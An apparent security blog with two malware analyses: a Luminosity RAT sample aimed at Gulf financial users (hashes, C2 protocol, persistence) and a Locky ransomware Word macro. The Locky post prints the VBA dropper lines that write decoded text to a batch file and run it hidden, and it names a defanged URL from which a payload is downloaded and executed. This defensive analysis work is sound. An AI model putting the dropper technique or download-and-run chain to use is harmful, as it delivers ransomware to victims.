Saturday, July 30, 2016

Luminosity RAT - Re-purposed

So I came across a sample which was sent inside a .7z file and strangely was detected by a file filter and not any spam or antivirus filter. The file was interestingly named as EmiratedNBD.exe, which indicates that this attack is targeted to the region as Emirates NBD is one of the biggest financial entities in the GCC region. The sample was not identified by any antivirus and also unknown to Virustotal till today.

MD5: 9b2da7bfb9dedaba7e4d14d623081d7f
SHA1: cfa3ce2a7743181775870d00f4f418efdd737a31

Moreover, the file seem encrypted as there were not many strings found and only a few libraries were visible in the import directory. The sample is coded in .NET C#.

I have performed basic static and dynamic analysis of the sample and inital findings strongly indicates that the sample is an encrypted payload of Luminosity RAT which is infecting the endpoint and performing a C2 communication with its server (C2 ip address: Till date there is not much OSTI available on this ip address. 

The sample when starts as a process, seems to start a child process in suspended mode and writes its memory space with the decrypted payload. The decrypted payload is responsible for all Botnet communication with the C2 server. The original parent process terminates after spawning the child process. I was able to extract many useful strings from the memory of the running child process. I also noticed another artifact left by the sample "explorer.exe" in the temp folder and placed in the startup as an IE shortcut.

The sample bot beaconing is periodic and seems to be utilizing a custom network protocol whereby destination port is 19881 and the information sent to the C2 server comprise of information on analysis tools running and the GUI processes which are running, the domain and user information, OS version, something "True", Antivirus running, a hash of some sort, current date, an "N" and lastly 8_=_8 in the end. It is noticeable that the request sent across is always preceded by a ping to the ip address. The communication from the client starts with "CONNECT" and each message is preceded by "=P4CK3T". The response from the server is "ACT=P4CK3T=8_=_8". 

FireEye detects the communication protcol as Trojan Luminosity Link. 

Attempting to decompile the sample with .NET Reflector and JetBrains dotPeek yields no results obviously as the sample is encrypted. DEbugging with DILE also yields no results as the execution never stops at the entry point mentioned in the optional headers of the PE. 

I had to resort on ILSPY to decompile to CIL opcode and see what is going on. Currently, I am also searching for some other ways to successfully debug the sample. The decompiled opcode shows the entry point of the code is the module  lohnfraz("lohnfraz.NN v5.5.5"). 

The sample looks for certain config and ini files as well in the same directory as the sample, indicating that it was accompanied by some configuration and I am guessing that the threat actors have re-purposed the Luminosity RAT, encrypted the client payload and delivered through inside a weaponized .7z archive, aimed to target the GCC region.

The sample detection by file filter

The email header

The delivery

Contained communication

Process spawning the child process

Proc Mon Activity output

Looking for config file

Looking for INI configuration

Malware can check if there are any unusual entries under the IFEO key(s) as a way of determining if it has landed on an analysts machine and change its behavior accordingly.
This file is created in the temp folder with the MD5 hash value of the original binary. I am guessing this is an integrity check being done by the sample of itself

Some of the interesting strings extracted from the decrypted child process memory space:

The explorer.exe artifact left by the sample

Some more strings showings various commands to be received from the server and executed on the client. We can also see reference to Luminosity in some of the detected strings

net user and net localgroup commands to add local users and to add them to most probably local admin group.

ip address of C2 server hard coded

One of client message (hello to C2 server)

ping before every request

Client communications

Server replies

De-compile failure

De-compile failure

Reversing the CIL opcode

Monday, July 4, 2016

Locky Ransomware - Obfuscated Weaponry

Some emails with word file attachments were found to be un-scannable by the AV engine on the ESG. This required some further analysis.

Antivirus detects these files as downloaders

Performing a dynamic analysis, I set up the fakedns on the gateway VM so I could intercept any DNS requests and at the same time I also ran Wireshark on the victim VM machine to see the URL:

In the above traffic we have identified some IOCs like the sender ip addresses, malicious C2 domain and the file name of the second stage binary.

I use the Process Monitor tool from Sysinternals to analyze the process tree and the command line arguments.  I am able to find names of more artifacts which could be used as IOCs as well like the arra.bat, dasdee.vbs, asddddd.exe:

Next, I would like to perform further analysis for identifying the attack TTPs (by reverse engineering the sample and studying the sub phases of the attack kill chain).

For this I need access to the code (most probably the macro in the word file). But when I try to access that macro, the attacker seem to have password protected the VBA project. I could try to retrieve or disable this password using some other techniques.

I try to use OfficeMalScanner in some hope to get hold of the macro but the file is not identified as an MS Word file.

I used trid to fingerprint the files but of no avail

I thought maybe this could be an RTF file masquerading as a doc file but again it did not turn out to be an RTF file:

I then decided to port the file to my UNIX DFIR box where I had the oletools-0.46 downloaded.

I used script, which is a script to detect malicious VBA Macros. It seems to be an MHTML file. Word can save and open files of type .htm and .mht. an MHTML file (.mht) could be renamed to .doc and could still work and open in MS Word.

I then used tool to successfully extract the VBA code into a text file:

I saw something interesting (the author name?) when I opened the doc file in the hex editor. It confirms that the file is an MSHTML file

The extracted VBA code shows some peculiar things. We see the use of form and textbox objects within the VBA code. This could be an indication to the use of latest attack techniques whereby macros are used but the actual downloader/dropper code is hidden encrypted in the value fields of the form textbox objects.

This technique is recently seen in macro malware related to DRIDEX and the latest crypto-ransomware variant, Locky ransomware, used Form object in macros to obfuscate the malicious code.

The entry point is when a function call is made in macro’s autoopen() function. We can also see that this is located in the “ThisDocument.cls” MS Word object.

Module1.bas has the code for the function VJKBKasd

Module1 has a lot of junk code with Ltrim Rtrim functions but the actual significant lines of code in between, to look at are:
Set sadasddcc = CreateObject("Scripting.FileSystemObject")
Set sadqwnczxc = sadasddcc.CreateTextFile(Environ("TEMP") & "\arra.bat", True)
sadqwnczxc.Write (Base64Decode(UserForm1.TextBox1)) + UserForm1.TextBox2
Shell Environ("TEMP") & "\arra.bat", vbHide
----------------------------------End of Module1.bas---------------------

In the above code we can see that a file called “arra.bat” is being created in the TEMP folder and the encrypted code hidden in the TextBox1 and TextBox2 objects of UserForm1 is being decrypted using “Base64Decode” function, and then written to the arra.bat file and then this batch file is executed in a hidden mode.

Module2.bas contains some supplementary code to decrypt some embedded code using the function “Base64Decode”:

Encrypted Code:

Next we see the encrypted code, embedded in the form controls:

Next we see some script code embedded in the form control. We can see cscript being called with /Nologo switch (Specifies that the Windows Script Host banner is not displayed before the script runs). %DLOAD_SCRIPT% is a parameter of interest, which is passed on to the cscript command along with the URL to download the file “7.exe” from. From the looks of this script we can see that “7.exe” is being downloaded and placed in the TMP folder as “asddddd.exe” and then it is executed using “start” command and once that is done, some files “dasdee.vbs” and “arra.batea” are deleted form the temp folder:

Let us have try to put this code together as a VBA project in a word document and try debugging the VBA code. I created a file and added the VBA project with the modules, form and two textboxes with the same name as in the extracted VBA Code. Then I copied pasted the code in the specific modules. Lastly, I copied pasted the encrypted code into the text value of the textbox1 and the cscript text in the value of the textbox2:

Once I have the file ready, I saved it as an MHTML file and renamed it as doc and opened it. The file conveniently opened in MS Word.

I entered the VBA project and started debugging, we can see that the batch file arra.bat is being created in the TMP folder:

Next we see that the encrypted code stored as “value” of the textbox1 control is being decrypted and written in the batch file along with the value of the textbox2 control “cscript…” command:

Logic to check if the string passed on is a valid base64:

Slowly we see the decryption is resulting in some relatively sensible code:

When all is written to the batch file we can see the decrypted code and cscript… part is written into it:

This seems to be a second layer of obfuscation. Let us try to deobfuscate this batch file code. Going through first few lines of code (notepad++ was helpful), it seems to be a very simple substitution based obfuscation where variables are assigned alphabetical values and the actual script is hidden by using these variable names instead of actual alphabets. I simply took this piece of code to notepad++ and performed find and replace function to get the following result:

In the above script we can see that the %DLOAD_SCRIPT% is an environment variable set to point towards “dasdee.vbs” file in the TMP folder. We see that echo command in the batch file is used to write to the vbs script. Once the vbs script is written then we can see that cscript is invoked to run the script file “DLOAD_SCRIPT” (from the environment variables) and the parameters passed on to the script are http://avp-mech(dot)ru/7/7(dot)exe and “TMP\asddddd.exe”.
The vbs script essentially downloads the 7.exe from the malicious domain and then writes it to the temp folder and runs it.
The artifacts batch and the vbs file are deleted.

Beside the IOCs extracted above, we can read more about this campaign for infecting with Locky ransomware: